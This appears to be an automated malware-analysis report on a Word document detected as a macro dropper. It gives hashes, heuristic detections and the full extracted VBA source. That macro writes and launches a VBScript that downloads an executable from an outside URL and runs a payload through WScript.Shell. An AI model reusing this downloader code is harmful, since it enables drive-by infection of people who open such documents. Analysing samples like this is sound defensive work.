Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6421ec784ebfe948…

MALICIOUS

Office (OOXML)

17.4 KB Created: 2021-01-17 09:15:00 UTC Authoring application: WPS Office_11.1.0.10314_F1E327BC-269C-435d-A152-05C5408002CA First seen: 2021-01-23
MD5: 378ac619e314cd663dc11998c1d8aa6e SHA-1: 7650ea416f7d0fad19e69f45b05fbb5ebfb1d1e7 SHA-256: 6421ec784ebfe948ca1100184d298dd83236153de907a2065e1cb796b4cf8258
362 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "wscript c:\temp\qax.vbs"
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Print #qaxFile, " Set WshShell = WScript.CreateObject('WScript.Shell')"
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
            Print #qaxFile, " Set WshShell = WScript.CreateObject('WScript.Shell')"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Print #qaxFile, " Set objFSO = CreateObject( "; Scripting.FileSystemObject; " )"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.wherever.com/files/qax.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://www.wps.cn/officeDocument/2013/wpsCustomDataReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2037 bytes
SHA-256: 2efe5bfd9075ffca791aa19c16c2a65f0bd147cbd2f8647138e20b44951c4df3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CreateNewMacros"
Sub WriteQax()
    Dim qaxFile As Integer
    Dim FilePath As String
        FilePath = "C:\temp\qax.vbs"
        qaxFile = FreeFile
        Open FilePath For Output As TextFile
        Print #qaxFile, "HTTPDownload 'http://www.wherever.com/files/qax.exe', 'C:\temp'"
        Print #qaxFile, "Sub HTTPDownload( myURL, myPath )"
        Print #qaxFile, " Dim i, objFile, objFSO, objHTTP, strFile, strMsg"
        Print #qaxFile, " Const ForReading = 1, ForWriting = 2, ForAppending = 8"
        Print #qaxFile, " Set objFSO = CreateObject( "; Scripting.FileSystemObject; " )"
        Print #qaxFile, " If objFSO.FolderExists( myPath ) Then"
        Print #qaxFile, "strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(myURL, " / " ) + 1 ) )"
        Print #qaxFile, " ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, " \ ") - 1 ) ) Then"
        Print #qaxFile, " strFile = myPath"
        Print #qaxFile, " End If"
        Print #qaxFile, " Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )"
        Print #qaxFile, " Set objHTTP = CreateObject( 'WinHttp.WinHttpRequest.5.1' )"
        Print #qaxFile, " objHTTP.Open 'GET', myURL, False"
        Print #qaxFile, "objHTTP.Send"
        Print #qaxFile, " For i = 1 To LenB( objHTTP.ResponseBody )"
        Print #qaxFile, " objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )"
        Print #qaxFile, " Next"
        Print #qaxFile, " objFile.Close( )"
        Print #qaxFile, " Set WshShell = WScript.CreateObject('WScript.Shell')"
        Print #qaxFile, " WshShell.Run 'c:\temp\payload.exe'"
        Print #qaxFile, " End Sub"
    Close qaxFile
    Shell "wscript c:\temp\qax.vbs"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: dadb01f190f740729e7bf7364736c952906e2522ab67e6ee0ad8e276519a8ef9
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely